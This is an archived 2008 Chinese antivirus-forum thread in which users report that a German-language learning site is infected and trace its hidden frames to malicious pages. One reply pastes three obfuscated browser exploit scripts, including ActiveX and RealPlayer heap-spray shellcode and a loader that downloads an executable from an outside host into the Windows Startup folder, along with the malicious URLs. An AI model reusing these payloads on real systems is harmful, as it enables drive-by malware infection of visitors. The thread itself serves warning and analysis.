查看: 4733|回复: 10
收起左侧

[已鉴定] 德语德国网站有毒

 关闭 [复制链接]
zqmm100
发表于 2008-10-2 23:39:51 | 显示全部楼层 |阅读模式
德语交流的权威网站,德语德国,可能有问题
费尔进去狂报
http://www.dedecn.com/
神武军师
发表于 2008-10-2 23:46:30 | 显示全部楼层
微点也报了
Heartstrings
发表于 2008-10-2 23:53:29 | 显示全部楼层

<html>
<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'></object>
<script language='javascript'>
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('4 1='8://7.a/h/6.2';4 3='5:/9 j g/b f/「开始」菜单/程序/启动/e.2';0.c=1;0.d=3;0.i();',20,20,'obj|buf1|exe|buf2|var|C|zz|51lsia|http|Documents|com|All|SnapshotPath|CompressedPath|Thunder|Users|Settings||PrintSnapshot|and'.split('|'),0,{}))
</script>
</html>


<html>
<object classid="clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93" id="obj">
  
</object>
<script language="JavaScript">
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('Y j(){1 f=c(""+"%X"+"%Z"+"%10"+"%11"+"%W"+"%V"+"%Q"+"%P"+"%R"+"%S"+"%U"+"%k"+"%T"+"%12"+"%13"+"%1d"+"%1c"+"%1e"+"%1f"+"%1g"+"%O"+"%1a"+"%15"+"%14"+"%16"+"%17"+"%19"+"%18"+"%1h"+"%G"+"%w"+"%x"+"%y"+"%z"+"%t"+"%p"+"%o"+"%q"+"%r"+"%s"+"%A"+"%B"+"%K"+"%L"+"%M"+"%I"+"%N"+"%b"+"%E"+"%C"+"%D"+"%H"+"%J"+"%b"+"%u"+"%v"+"%b"+"%F"+"%1b"+"%1r"+"%1T"+"%1S"+"%7"+"%1U"+"%1V"+"%1W"+"%1R"+"%1Q"+"%1M"+"%1L"+"%1N"+"%1i"+"%7"+"%1O"+"%1Y"+"%1X"+"%25"+"%k"+"%29"+"%2b"+"%27"+"%m"+"%2a"+"%28"+"%26"+"%21"+"%7"+"%1Z"+"%22"+"%23"+"%24"+"%m"+"%1P"+"%1J"+"%1K"+"%1q"+"%7"+"%1s"+"%1t"+"%1u"+"%7"+"%1p%1o%1k%1j%1l%1m%1n%1v%1w%1F%1E%1G%1H");1 2=c(""+"%n"+"%n");1 h=20;1 9=h+f.8;e(2.8<9)2+=2;1 l=2.g(0,9);1 3=2.g(0,2.8-9);e(3.8+9<1I)3=3+3+l;1 1D=d;1 d=1C 1y();1x(i=0;i<1z;i++){d=3+f}1 4=\'\';e(4.8<1A)4=4+c("%1B");1 a=5.6;5.6=4;5.6=a;a=5.6;5.6=4;5.6=a}{j()}',62,136,'|var|gamewm|block|buf|obj|Console|uFFFF|length|fukcyourising|good_flow|u408B|unescape|yumen|while|gameaaaabbbbaaa|substring|fuckyoukaspersky||game|uDB33|fillblock|uD0FF|u0C0C|u642E|u6E6F|u6C6C|u4300|u5C3A|u6D6C|u8D34|u7C40|u048B|u038B|uC3C5|u7275|u2e55|u7865|u1C70|u8BAD|u8B0C|u953C|uDD03|u0840|u3040|u09EB|u0065|uC033|u0364|u0C78|u3BEF|u0320|u768B|u33F5|u49C9|u0F36|uAD41|u56F5|u0378|u54EB|function|u758B|u8B3C|u3574|u14BE|u3828|u5E8B|u5EE7|u0324|u66DD|u8B4B|u0C8B|u75DF|u8EBF|uC108|u74F2|u0DCB|uDA03|uEB40|u1C5E|u6FE8|u352f|u2f3a|u6c31|u6973|u2e61|u7074|u7468|uFF40|u0E4E|uFF52|uE8D0|uFFD7|u6f63|u2f6d|for|Array|300|32|0C|new|test99|u7a7a|u2f68|u652e|u6578|0x40000|uE2D8|uE873|u1A36|uBF50|u702F|u8BFF|u7EBF|u95D0|uFF3C|uFF84|uE8EC|uEC83|u8304|u242C|u8DFC|u2454|u83FF||u53E8|u04EC|u2C83|u6224|uBA52|u0E8A|u5324|uFE98|u5353|uBF5D|uEB52'.split('|'),0,{}))
</script>
</html>


<script language="JavaScript">
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c
>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('o j=[""+""+""+",""+"""+",""+"%"+"$"+","+""+"#"+","+""+"+","+"+""+","+"+""+",""+""+""+"];1k O(){o t=v.26["w"]();d(t.k("V 6")==-1&&t.k("V 7")==-1)r;d(t.k("1h 5.")==-1)r;o U;y="1i"+"1j.I"+"1g"+"1f.1";U=y;1b{A=1a 1c["1d"](y["1e"](/a/g,""))}1m(1u){r}H="1v";N="1w";19="1t";F="6.0.14.1s";L=H+N;e=A["1o"](L);b="";p=l(j[0]);q(i=0;i<1n*1p;i++)b+="S";d(e.k("6.0.14.")==-1){d(v.R.w()=="1r-1y")f=l(j[1]);h d(v.R.w()=="Z-18")f=l(j[2]);h r}h d(e==F)f=l(j[3]);h d(e=="6.0.14.16")f=l(j[4]);h d(e=="6.0.14.15")f=l(j[5]);h d(e=="6.0.14.13")f=l(j[6]);h d(e=="6.0.14.1x")f=l(j[7]);h r;d(e.k("6.0.10.")!=-1){q(i=0;i<4;i++)b=b+p;b=b+f}h d(e.k("6.0.11.")!=-1){q(i=0;i<6;i++)b=b+p;b=b+f}h d(e.k("6.0.12.")!=-1){q(i=0;i<9;i++)b=b+p;b=b+f}h d(e.k("6.0.14.")!=-1){q(i=0;i<10;i++)b=b+p;b=b+f}o G,X="21 1X";W="1Y\\1Z";G=X;8="";8=8+"20";8=8+"27";8=8+"28";8=8+"2f";8=8+"2g";8=8+"2h";8=8+"2e";8=8+"2d";8=8+"29";8=8+"2a";8=8+"2b";8=8+"2c";8=8+"1W";8=8+"1V";8=8+"1G";1H="";u=b+W+8;P=1I;1J(u.1F<P)u+="1E";o E=["c:\\B z\\D\\..\\..\\n\\Q\\1A.s","c:\\B z\\D\\1B.s","C:\\n\\Y\\1C.s","C:\\n\\1D.1K","c:\\B z\\D\\..\\..\\n\\Q\\1S.s","C:\\n\\Y\\1U.s"];A["1R"](E[K.1Q(K["1M"]()*6)],u,"1O",0,0)}O();',62,143,'||||||||ShellCode|||sdfdgdfg||if|RealVersion|ret||else||addr|indexOf|unescape|60|WINDOWS|var|cvbcbb|for|return|wav|user|xcbfcxn|navigator|toLowerCase|63|RealplayerObj|Files|Cuteqq_Anhey_Real_Exp_Send|Program||NetMeeting|arr1|dddd|Kfqq|CuteRealVersion||79|Math|CuteRealVersions|31|CuteRealVersion2|CuteQq_RealPlayer_Exp_YingYing_Anhey_ssssssssssssssssss|temp|Media|userLanguage||04|Cuteqq|msie|qwfgsg|Qqs|system32|en||||543||552|550|09|us|CuteRealVersion3s|new|try|window|ActiveXObject|replace|Caaataaal|EaaaRaaaP|nt|IaaaEaaaR|PaaaCaaataaal|function|70|catch|32|PlayerProperty|148|51|zh|544|chilam|error|PRODUCT|VERSION|536|cn|4f|chimes|TestSnd|BuzzingBee|clock|lizhen|length|qvRHptd4RPFZVOdoVUTqplQcQy0a6NRC2OPmfOphTo1jrZvN3UQhSUOpS0|C2|0x8000|while|avi|7f|random|06|123456456|75|floor|import|tada|74|LoopyMusic|2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBfRWygPfouZtCwW|eStEpfTc7nVoUBdrfnvts3c77r3VwZwyGw7rdj4OS4DTww6tuOUw|AntiVirus|LLLL|XXXXXLD|TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI|Fucking|a5|08|a4|71|userAgent|xkR0qJPJP3YY0fNYwLEQk0p47zpfKRKJJKVe9xJKYoIoYolOoCQv|3VsVwLuRKwRvavbFQvJMWVsZzMFv0z8K8mwVPnxmmn8mDUBzJMEB|5alJMqqrauWJUWrhS3OQWRU5QrENVcE61vPUOVtvTv4uP0DvLYfQ|OjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSooFWTtTpp5oinTWL|gOzmMTk8PUoVNENnW0J9mInyWQS3TRGFVt6iEUTgtBwrtTs3r5r5|PfEqTCuBgEGoDUtR4CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcEN|e6pfQvXeMpPuVPwP9v0XzFr3Ol9vRpzFDxm5NjqVxmLzdLSvTumI|HmLvflsRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUlxmmnTL2GWOLNQK|sHuN3ULUhmfxW6peMMZM7XPrf5NkDpP107zMpYE5MMzMj44LqxGO|NuKpTRrNWOVYM5mqqrwSMTnoeoty08JMnKJMgPw2pey5MgMWQuMw|runOgp8mpn8m7PrZBEleoWng2DRELgZMU6REoUJMmLHmz1KUOPCX|01'.split('|'),0,{}))
</script>


不贴了。。。 。。偶是小白。。。不敢进这网站。。。


http://11.woyao918.com/aa4.htm
http://11.woyao918.com/flash.htm
http://11.woyao918.com/lz.htm
http://11.woyao918.com/14.htm
http://11.woyao918.com/re11.htm
http://11.woyao918.com/xx.htm
zqmm100
 楼主| 发表于 2008-10-2 23:55:57 | 显示全部楼层
请问LS,是如何通过网页源码查出问题的所在的呢~?
孔子
发表于 2008-10-2 23:58:04 | 显示全部楼层
Log is generated by FreShow.
[wide]http://www.dedecn.com/
    [frame]http://11.woyao918.com/aa4.htm
        [frame]http://11.woyao918.com/flash.htm
        [frame]http://11.woyao918.com/14.htm
        [frame]http://11.woyao918.com/office.htm
        [frame]http://11.woyao918.com/xx.htm
        [frame]http://11.woyao918.com/lz.htm
        [frame]http://11.woyao918.com/re10.htm
        [frame]http://11.woyao918.com/re11.htm
            [object]http://51lsia.com/h/zz.exe
        [script]http://s80.cnzz.com/stat.php?id=971311&web_id=971311
    [frame]http://www.dedecn.com/xiaoxi.htm
    [script]http://pagead2.googlesyndication.com/pagead/show_ads.js
        [frame]http://11.woyao918.com/aa4.htm
        [script]http://www.99count.com/count.asp?user=dedecn
        [script]http://www.99count.com/count.asp?user=dedecn
    [script]http://pagead2.googlesyndication.com/pagead/show_ads.js
    [script]http://pagead2.googlesyndication.com/pagead/show_ads.js
    [script]http://pagead2.googlesyndication.com/pagead/show_ads.js
    [script]http://pagead2.googlesyndication.com/pagead/show_ads.js
    [script]http://pagead2.googlesyndication.com/pagead/show_ads.js
    [script]http://www.99count.com/count.asp?user=dedecn
1688388728
发表于 2008-10-3 00:00:28 | 显示全部楼层
报个不停
zqmm100
 楼主| 发表于 2008-10-3 00:02:01 | 显示全部楼层
强烈建议用firefox+NoScript插件 确实可以抵御绝大部分风险
小火柴
发表于 2008-10-7 16:31:04 | 显示全部楼层
我进去了,费尔米报
delfina.df
发表于 2008-10-8 20:49:51 | 显示全部楼层
我也进去了,BD也没有报
sam.to
发表于 2008-10-8 20:51:13 | 显示全部楼层

回复 5楼 孔子 的帖子

ACCESS DENIED
The requested URL could not be retrieved

While trying to retrieve the URL: http://51lsia.com/h/zz.exe

The folowing error was encountered:

    * The requested object is INFECTED. The following viruses Trojan-Downloader.Win32.Agent.airi were found

Please contact your service provider if you feel this is incorrect.

Generated Wed Oct 08 20:51:08 2008 by Kaspersky Internet Security 7.0
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-15 12:54 , Processed in 0.140023 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表